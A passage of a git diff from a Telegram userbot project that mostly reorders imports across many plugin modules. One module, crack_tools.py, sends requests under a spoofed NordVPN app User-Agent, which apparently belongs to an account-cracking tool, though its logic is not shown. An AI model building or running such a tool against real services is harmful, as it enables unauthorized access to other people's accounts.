-8,10 +8,11 @@ from time import sleep from urllib.parse import quote_plus -from virtualuserbot import CMD_HELP from selenium import webdriver from selenium.webdriver.chrome.options import Options +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/card.py b/virtualuserbot/modules/card.py index c50354a6..bd5ed2c8 100644 --- a/virtualuserbot/modules/card.py +++ b/virtualuserbot/modules/card.py @@ -6,6 +6,7 @@ # Card Generator ############################## from faker import Faker as dc + from virtualuserbot import bot as cobra from ..utils import admin_cmd as hehe diff --git a/virtualuserbot/modules/chain.py b/virtualuserbot/modules/chain.py index 9756c402..8fb082c3 100644 --- a/virtualuserbot/modules/chain.py +++ b/virtualuserbot/modules/chain.py @@ -2,9 +2,10 @@ # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.functions.messages import SaveDraftRequest +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + @friday.on(friday_on_cmd(pattern="chain")) @friday.on(sudo_cmd(pattern="chain", allow_sudo=True)) diff --git a/virtualuserbot/modules/channel_download.py b/virtualuserbot/modules/channel_download.py index fb27b564..f45d0845 100644 --- a/virtualuserbot/modules/channel_download.py +++ b/virtualuserbot/modules/channel_download.py @@ -7,9 +7,10 @@ import os import subprocess -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="getc")) async def get_media(event): diff --git a/virtualuserbot/modules/channel_sticker.py b/virtualuserbot/modules/channel_sticker.py index 2198a637..04aa0886 100644 --- a/virtualuserbot/modules/channel_sticker.py +++ b/virtualuserbot/modules/channel_sticker.py @@ -1,11 +1,12 @@ +from telethon import events +from telethon.utils import pack_bot_file_id + from virtualuserbot.modules.sql_helper.channel_sticker_sql import ( add_new_data_in_db, is_data_indb, remove_datas, ) from virtualuserbot.utils import admin_cmd -from telethon import events -from telethon.utils import pack_bot_file_id lulstark = [".", ",", "!", "'"] diff --git a/virtualuserbot/modules/checkrestrictions.py b/virtualuserbot/modules/checkrestrictions.py index 73faaaae..a5892033 100644 --- a/virtualuserbot/modules/checkrestrictions.py +++ b/virtualuserbot/modules/checkrestrictions.py @@ -4,9 +4,10 @@ """Check Account Restrictions .cr (.*)""" -from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import Channel, Chat, User +from virtualuserbot.utils import friday_on_cmd + @borg.on(friday_on_cmd(pattern="cr (.*)")) async def _(event): diff --git a/virtualuserbot/modules/classictranslate.py b/virtualuserbot/modules/classictranslate.py index 8bb25be3..3dc3a391 100644 --- a/virtualuserbot/modules/classictranslate.py +++ b/virtualuserbot/modules/classictranslate.py @@ -4,9 +4,10 @@ .tl LangaugeCode | text to translate""" import emoji -from virtualuserbot import CMD_HELP from googletrans import Translator +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/clone.py b/virtualuserbot/modules/clone.py index a9fed591..d05c952f 100644 --- a/virtualuserbot/modules/clone.py +++ b/virtualuserbot/modules/clone.py @@ -5,12 +5,13 @@ import asyncio import html -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd from telethon.tl import functions from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + @friday.on(friday_on_cmd(pattern="clone ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/coinflip.py b/virtualuserbot/modules/coinflip.py index dbf9bd67..b9a13cdc 100644 --- a/virtualuserbot/modules/coinflip.py +++ b/virtualuserbot/modules/coinflip.py @@ -2,9 +2,10 @@ Syntax: .coinflip [optional_choice]""" import random -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="coin ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/colors.py b/virtualuserbot/modules/colors.py index c1fc8aa3..5a21b2fd 100644 --- a/virtualuserbot/modules/colors.py +++ b/virtualuserbot/modules/colors.py @@ -2,9 +2,10 @@ Syntax: .color """ import os +from PIL import Image, ImageColor + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from PIL import Image, ImageColor @friday.on(friday_on_cmd(pattern="color (.*)")) diff --git a/virtualuserbot/modules/congratulations.py b/virtualuserbot/modules/congratulations.py index 76fd303e..5001f890 100644 --- a/virtualuserbot/modules/congratulations.py +++ b/virtualuserbot/modules/congratulations.py @@ -1,8 +1,9 @@ import random -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + RUNSREACTS = [ "`Congratulations and BRAVO!`", "`You did it! So proud of you!`", diff --git a/virtualuserbot/modules/count.py b/virtualuserbot/modules/count.py index b72d7bcf..c4c88f86 100644 --- a/virtualuserbot/modules/count.py +++ b/virtualuserbot/modules/count.py @@ -3,12 +3,13 @@ import logging import time -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd from telethon.events import NewMessage from telethon.tl.custom import Dialog from telethon.tl.types import Channel, Chat, User +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + logging.basicConfig( format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING ) diff --git a/virtualuserbot/modules/countries.py b/virtualuserbot/modules/countries.py index 1e78ba8e..611d5213 100644 --- a/virtualuserbot/modules/countries.py +++ b/virtualuserbot/modules/countries.py @@ -13,6 +13,7 @@ import flag from countryinfo import CountryInfo + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/covid.py b/virtualuserbot/modules/covid.py index e58338c6..d8c04467 100644 --- a/virtualuserbot/modules/covid.py +++ b/virtualuserbot/modules/covid.py @@ -1,5 +1,6 @@ # corona virus stats for catuserbot from covid import Covid + from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/cow.py b/virtualuserbot/modules/cow.py index c5ac18ca..01315ce6 100644 --- a/virtualuserbot/modules/cow.py +++ b/virtualuserbot/modules/cow.py @@ -4,9 +4,10 @@ from cowpy import cow -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"^.(\w+)say (.*)", outgoing=True)) async def univsaye(cowmsg): diff --git a/virtualuserbot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py index 7dc6113d..8327122c 100644 --- a/virtualuserbot/modules/crack_tools.py +++ b/virtualuserbot/modules/crack_tools.py @@ -1,9 +1,10 @@ import os import requests +from uniborg.util import friday_on_cmd + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd, friday_on_cmd -from uniborg.util import friday_on_cmd data = { "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", diff --git a/virtualuserbot/modules/create.py b/virtualuserbot/modules/create.py index 0163e90a..12150f80 100644 --- a/virtualuserbot/modules/create.py +++ b/virtualuserbot/modules/create.py @@ -2,9 +2,10 @@ for bot credits to @pureindialover """ +from telethon.tl import functions + from virtualuserbot import CMD_HELP from virtualuserbot.events import register -from telethon.tl import functions @register(outgoing=True, pattern="^.create (b|g|c)(?: |$)(.*)") diff --git a/virtualuserbot/modules/cricket_score.py b/virtualuserbot/modules/cricket_score.py index d9e6e632..4c54ff2b 100644 --- a/virtualuserbot/modules/cricket_score.py +++ b/virtualuserbot/modules/cricket_score.py @@ -15,6 +15,7 @@ import urllib.request from bs4 import BeautifulSoup + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/crypto.py b/virtualuserbot/modules/crypto.py index d77b9127..96af25b4 100644 --- a/virtualuserbot/modules/crypto.py +++ b/virtualuserbot/modules/crypto.py @@ -13,6 +13,7 @@ import cryptocompare + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/currency.py b/virtualuserbot/modules/currency.py index 400903cc..a6c4760b 100644 --- a/virtualuserbot/modules/currency.py +++ b/virtualuserbot/modules/currency.py @@ -2,9 +2,10 @@ from datetime import datetime import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="currency (.*)")) async def _(event): diff --git a/virtualuserbot/modules/dagd.py b/virtualuserbot/modules/dagd.py index 117198d3..0706beb2 100644 --- a/virtualuserbot/modules/dagd.py +++ b/virtualuserbot/modules/dagd.py @@ -5,6 +5,7 @@ .url .unshort """ import requests + from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/decide.py b/virtualuserbot/modules/decide.py index 8de47701..f6a8dc8a 100644 --- a/virtualuserbot/modules/decide.py +++ b/virtualuserbot/modules/decide.py @@ -1,6 +1,7 @@ """Quickly make a decision Syntax: .decide""" import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/deepfryer.py b/virtualuserbot/modules/deepfryer.py index 3a64eca8..4612dcef 100644 --- a/virtualuserbot/modules/deepfryer.py +++ b/virtualuserbot/modules/deepfryer.py @@ -32,13 +32,14 @@ import os from random import randint, uniform -from virtualuserbot import CMD_HELP -from virtualuserbot.function import convert_to_image -from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageEnhance, ImageOps from telethon.tl.types import DocumentAttributeFilename from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.function import convert_to_image +from virtualuserbot.utils import friday_on_cmd + sedpath = "./starkgangz/" if not os.path.isdir(sedpath): os.makedirs(sedpath) diff --git a/virtualuserbot/modules/delfp.py b/virtualuserbot/modules/delfp.py index 3bab9696..4027fa66 100644 --- a/virtualuserbot/modules/delfp.py +++ b/virtualuserbot/modules/delfp.py @@ -1,8 +1,9 @@ -from virtualuserbot import CMD_HELP from telethon.tl.functions.photos import DeletePhotosRequest, GetUserPhotosRequest from telethon.tl.types import InputPhoto from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="delpfp ?(.*)")) @friday.on(sudo_cmd(pattern="delpfp ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/design.py b/virtualuserbot/modules/design.py index 0640d899..21938c96 100644 --- a/virtualuserbot/modules/design.py +++ b/virtualuserbot/modules/design.py @@ -1,7 +1,8 @@ """.admin Plugin for @UniBorg""" +from telethon.tl.types import ChannelParticipantsAdmins + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.tl.types import ChannelParticipantsAdmins @friday.on(friday_on_cmd("join")) diff --git a/virtualuserbot/modules/diceandart.py b/virtualuserbot/modules/diceandart.py index 40970b57..6c91baff 100644 --- a/virtualuserbot/modules/diceandart.py +++ b/virtualuserbot/modules/diceandart.py @@ -1,6 +1,7 @@ +from telethon.tl.types import InputMediaDice + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.tl.types import InputMediaDice # EMOJI CONSTANTS DART_E_MOJI = "🎯" diff --git a/virtualuserbot/modules/dictionary.py b/virtualuserbot/modules/dictionary.py index 8486f626..51b1f117 100644 --- a/virtualuserbot/modules/dictionary.py +++ b/virtualuserbot/modules/dictionary.py @@ -6,9 +6,10 @@ nltk.download("wordnet") from nltk.corpus import wordnet -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("meaning (.*)")) @friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py index 7b94d33c..5760fdc1 100644 --- a/virtualuserbot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -13,9 +13,10 @@ import requests from bs4 import BeautifulSoup +from humanize import naturalsize + from virtualuserbot import CMD_HELP from virtualuserbot.events import register -from humanize import naturalsize def subprocess_run(cmd): diff --git a/virtualuserbot/modules/dm.py b/virtualuserbot/modules/dm.py index 183b7913..0229bf1d 100644 --- a/virtualuserbot/modules/dm.py +++ b/virtualuserbot/modules/dm.py @@ -1,8 +1,9 @@ # By @HeisenbergTheDanger and @xditya -from virtualuserbot import CMD_HELP from telethon import * +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/dns.py b/virtualuserbot/modules/dns.py index da8c86f3..e504bbe0 100644 --- a/virtualuserbot/modules/dns.py +++ b/virtualuserbot/modules/dns.py @@ -5,6 +5,7 @@ .url .unshort """ import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/duckduckgo.py b/virtualuserbot/modules/duckduckgo.py index 2eec3084..41cbf41a 100644 --- a/virtualuserbot/modules/duckduckgo.py +++ b/virtualuserbot/modules/duckduckgo.py @@ -1,8 +1,9 @@ """use command .ducduckgo""" -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("ducduckgo (.*)")) async def _(event): diff --git a/virtualuserbot/modules/dumpster.py b/virtualuserbot/modules/dumpster.py index 435675eb..50aee21c 100644 --- a/virtualuserbot/modules/dumpster.py +++ b/virtualuserbot/modules/dumpster.py @@ -1,8 +1,9 @@ import asyncio +from telethon.errors.rpcerrorlist import MessageIdInvalidError + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.errors.rpcerrorlist import MessageIdInvalidError @friday.on(friday_on_cmd(pattern="dump ?(.*)")) diff --git a/virtualuserbot/modules/ekart.py b/virtualuserbot/modules/ekart.py index 45c66922..14711524 100644 --- a/virtualuserbot/modules/ekart.py +++ b/virtualuserbot/modules/ekart.py @@ -1,4 +1,5 @@ import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/emojify.py b/virtualuserbot/modules/emojify.py index f1016302..ce5e2586 100644 --- a/virtualuserbot/modules/emojify.py +++ b/virtualuserbot/modules/emojify.py @@ -4,6 +4,7 @@ Userbot plugin for CatUserbot """ import emoji + from virtualuserbot import CMD_HELP from virtualuserbot.modules import fonts as emojify diff --git a/virtualuserbot/modules/emojis.py b/virtualuserbot/modules/emojis.py index 4d19915e..06853ccd 100644 --- a/virtualuserbot/modules/emojis.py +++ b/virtualuserbot/modules/emojis.py @@ -6,9 +6,10 @@ .emoji -_-""" import asyncio -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="emoji (.*)")) async def _(event): diff --git a/virtualuserbot/modules/eval.py b/virtualuserbot/modules/eval.py index 5b4cb5e2..689cab28 100644 --- a/virtualuserbot/modules/eval.py +++ b/virtualuserbot/modules/eval.py @@ -8,9 +8,10 @@ import sys import traceback -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("eval")) @friday.on(sudo_cmd("eval", allow_sudo=True)) diff --git a/virtualuserbot/modules/exclusive.py b/virtualuserbot/modules/exclusive.py index 6fe77173..f7384177 100644 --- a/virtualuserbot/modules/exclusive.py +++ b/virtualuserbot/modules/exclusive.py @@ -4,11 +4,12 @@ import asyncio -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import admin_cmd from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + @friday.on(admin_cmd(pattern=r"purl ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/extra.py b/virtualuserbot/modules/extra.py index cb3c0ac9..aa8d576f 100644 --- a/virtualuserbot/modules/extra.py +++ b/virtualuserbot/modules/extra.py @@ -2,9 +2,10 @@ import time from collections import deque +from telethon.tl.functions.channels import LeaveChannelRequest + from virtualuserbot import CMD_HELP, bot from virtualuserbot.utils import friday_on_cmd -from telethon.tl.functions.channels import LeaveChannelRequest @friday.on(friday_on_cmd("leave$")) diff --git a/virtualuserbot/modules/extranotes.py b/virtualuserbot/modules/extranotes.py index c746874f..50a36fd4 100644 --- a/virtualuserbot/modules/extranotes.py +++ b/virtualuserbot/modules/extranotes.py @@ -1,6 +1,7 @@ -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"gaali")) async def test(event): diff --git a/virtualuserbot/modules/fakegen.py b/virtualuserbot/modules/fakegen.py index 63a4c106..0e71e44a 100644 --- a/virtualuserbot/modules/fakegen.py +++ b/virtualuserbot/modules/fakegen.py @@ -14,9 +14,10 @@ from faker import Faker from faker.providers import internet -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"fakegen")) async def hi(event): diff --git a/virtualuserbot/modules/fakeimagegen.py b/virtualuserbot/modules/fakeimagegen.py index 6c2ab69b..35f1d480 100644 --- a/virtualuserbot/modules/fakeimagegen.py +++ b/virtualuserbot/modules/fakeimagegen.py @@ -15,6 +15,7 @@ import os import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/figlet.py b/virtualuserbot/modules/figlet.py index b4fc041f..fa6b01c7 100644 --- a/virtualuserbot/modules/figlet.py +++ b/virtualuserbot/modules/figlet.py @@ -1,4 +1,5 @@ import pyfiglet + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/fileext.py b/virtualuserbot/modules/fileext.py index 62857df7..4408e676 100644 --- a/virtualuserbot/modules/fileext.py +++ b/virtualuserbot/modules/fileext.py @@ -2,9 +2,10 @@ Syntax: .filext EXTENSION""" import requests from bs4 import BeautifulSoup -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="filext (.*)")) async def _(event): diff --git a/virtualuserbot/modules/filters.py b/virtualuserbot/modules/filters.py index b40a8318..f1f29459 100644 --- a/virtualuserbot/modules/filters.py +++ b/virtualuserbot/modules/filters.py @@ -9,6 +9,9 @@ import asyncio import re +from telethon import utils +from telethon.tl import types + from virtualuserbot import CMD_HELP from virtualuserbot.modules.sql_helper.filter_sql import ( add_filter, @@ -17,8 +20,6 @@ remove_filter, ) from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from telethon import utils -from telethon.tl import types DELETE_TIMEOUT = 0 TYPE_TEXT = 0 diff --git a/virtualuserbot/modules/fleaveme.py b/virtualuserbot/modules/fleaveme.py index 176525e8..02294cbe 100644 --- a/virtualuserbot/modules/fleaveme.py +++ b/virtualuserbot/modules/fleaveme.py @@ -7,9 +7,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.fleave", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/football.py b/virtualuserbot/modules/football.py index 24957aae..42c41135 100644 --- a/virtualuserbot/modules/football.py +++ b/virtualuserbot/modules/football.py @@ -13,6 +13,7 @@ import requests + from virtualuserbot import CMD_HELP from virtualuserbot.Configs import Config from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/funarts.py b/virtualuserbot/modules/funarts.py index d334a232..6be489b7 100644 --- a/virtualuserbot/modules/funarts.py +++ b/virtualuserbot/modules/funarts.py @@ -1,6 +1,7 @@ -from virtualuserbot import CMD_HELP from telethon.tl.types import ChannelParticipantsAdmins +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/funtxt2.py b/virtualuserbot/modules/funtxt2.py index 4180158f..eb1f994e 100644 --- a/virtualuserbot/modules/funtxt2.py +++ b/virtualuserbot/modules/funtxt2.py @@ -1,4 +1,5 @@ import nekos + from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/gamersdp.py b/virtualuserbot/modules/gamersdp.py index f8ce6b9a..3470c141 100644 --- a/virtualuserbot/modules/gamersdp.py +++ b/virtualuserbot/modules/gamersdp.py @@ -5,9 +5,10 @@ import urllib import requests +from telethon.tl import functions + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.tl import functions COLLECTION_STRINGZ = [ "star-wars-wallpaper-1080p", diff --git a/virtualuserbot/modules/gdbye.py b/virtualuserbot/modules/gdbye.py index 64875451..4de7bee0 100644 --- a/virtualuserbot/modules/gdbye.py +++ b/virtualuserbot/modules/gdbye.py @@ -5,9 +5,10 @@ import asyncio -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"gdbye")) async def _(event): diff --git a/virtualuserbot/modules/get_admin.py b/virtualuserbot/modules/get_admin.py index 4c990924..e6e5e63b 100644 --- a/virtualuserbot/modules/get_admin.py +++ b/virtualuserbot/modules/get_admin.py @@ -1,13 +1,14 @@ """Get Administrators of any Chat* Syntax: .get_admin""" -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.types import ( ChannelParticipantAdmin, ChannelParticipantCreator, ChannelParticipantsAdmins, ) +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + @friday.on(friday_on_cmd("get_ad?(m)in ?(.*)")) @friday.on(sudo_cmd("get_ad?(m)in ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/get_bot.py b/virtualuserbot/modules/get_bot.py index 733a3844..6d5f510f 100644 --- a/virtualuserbot/modules/get_bot.py +++ b/virtualuserbot/modules/get_bot.py @@ -1,8 +1,9 @@ """ Get the Bots in any chat* Syntax: .get_bot""" +from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantsBots + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantsBots @friday.on(friday_on_cmd("get_bot ?(.*)")) diff --git a/virtualuserbot/modules/get_id.py b/virtualuserbot/modules/get_id.py index eea62901..d0e01e42 100644 --- a/virtualuserbot/modules/get_id.py +++ b/virtualuserbot/modules/get_id.py @@ -1,8 +1,9 @@ """Get ID of any Telegram media, or any user Syntax: .get_id""" +from telethon.utils import pack_bot_file_id + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from telethon.utils import pack_bot_file_id @friday.on(friday_on_cmd("get_id")) diff --git a/virtualuserbot/modules/gizoogle.py b/virtualuserbot/modules/gizoogle.py index 27a2e777..c491e8d2 100644 --- a/virtualuserbot/modules/gizoogle.py +++ b/virtualuserbot/modules/gizoogle.py @@ -2,9 +2,10 @@ import bs4 import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="giz ?(.*)")) async def gizoogle(event): diff --git a/virtualuserbot/modules/glitch.py b/virtualuserbot/modules/glitch.py index 21f76b07..818a7722 100644 --- a/virtualuserbot/modules/glitch.py +++ b/virtualuserbot/modules/glitch.py @@ -13,11 +13,12 @@ import os -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd, sudo_cmd from glitch_this import ImageGlitcher from telethon.tl.types import MessageMediaPhoto +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd + glitcher = ImageGlitcher() DURATION = 200 # Set this to however many centiseconds each frame should be visible for LOOP = 0 # Set this to how many times the gif should loop diff --git a/virtualuserbot/modules/google.py b/virtualuserbot/modules/google.py index 25847add..88f472b3 100644 --- a/virtualuserbot/modules/google.py +++ b/virtualuserbot/modules/google.py @@ -1,8 +1,9 @@ from re import findall +from search_engine_parser import GoogleSearch + from virtualuserbot import CMD_HELP from virtualuserbot.utils import register -from search_engine_parser import GoogleSearch @register(outgoing=True, pattern=r"^\.gs (.*)") diff --git a/virtualuserbot/modules/got_memes.py b/virtualuserbot/modules/got_memes.py index f3f6d807..07cbc6a2 100644 --- a/virtualuserbot/modules/got_memes.py +++ b/virtualuserbot/modules/got_memes.py @@ -7,9 +7,10 @@ import asyncio import random -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.gotm", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/got_thoughts.py b/virtualuserbot/modules/got_thoughts.py index 09cf9cdf..ac810098 100644 --- a/virtualuserbot/modules/got_thoughts.py +++ b/virtualuserbot/modules/got_thoughts.py @@ -9,9 +9,10 @@ import asyncio import random -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.gott", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/gprod.py b/virtualuserbot/modules/gprod.py index 8df9867c..c605ad03 100644 --- a/virtualuserbot/modules/gprod.py +++ b/virtualuserbot/modules/gprod.py @@ -1,10 +1,11 @@ # made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT # made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam marculs = 9 -from virtualuserbot import bot as borg from telethon.tl.functions.channels import EditAdminRequest from telethon.tl.types import ChatAdminRights, MessageEntityMentionName +from virtualuserbot import bot as borg + # made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam from ..utils import admin_cmd diff --git a/virtualuserbot/modules/gps2.py b/virtualuserbot/modules/gps2.py index 60acd0bb..44a72a2e 100644 --- a/virtualuserbot/modules/gps2.py +++ b/virtualuserbot/modules/gps2.py @@ -1,9 +1,10 @@ import re -from virtualuserbot import CMD_HELP, bot from geopy.geocoders import Nominatim from telethon.tl import types +from virtualuserbot import CMD_HELP, bot + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py index 7b150c57..d0ca4b70 100644 --- a/virtualuserbot/modules/gtools.py +++ b/virtualuserbot/modules/gtools.py @@ -1,12 +1,13 @@ import asyncio -from virtualuserbot import CMD_HELP -from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute -from virtualuserbot.utils import friday_on_cmd from telethon.events import ChatAction from telethon.tl.functions.contacts import BlockRequest, UnblockRequest from telethon.tl.types import MessageEntityMentionName +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot.utils import friday_on_cmd + async def get_full_user(event): args = event.pattern_match.group(1).split(":", 1) @@ -97,7 +98,9 @@ async def gspider(virtualuserbot): ] for i in testvirtualuserbot: try: - await virtualuserbot.client.edit_permissions(i, user, view_messages=False) + await virtualuserbot.client.edit_permissions( + i, user, view_messages=False + ) a += 1 await friday.edit(f"**GBANNED // Total Affected Chats **: `{a}`") except: @@ -161,7 +164,9 @@ async def gspider(virtualuserbot): ] for i in testvirtualuserbot: try: - await 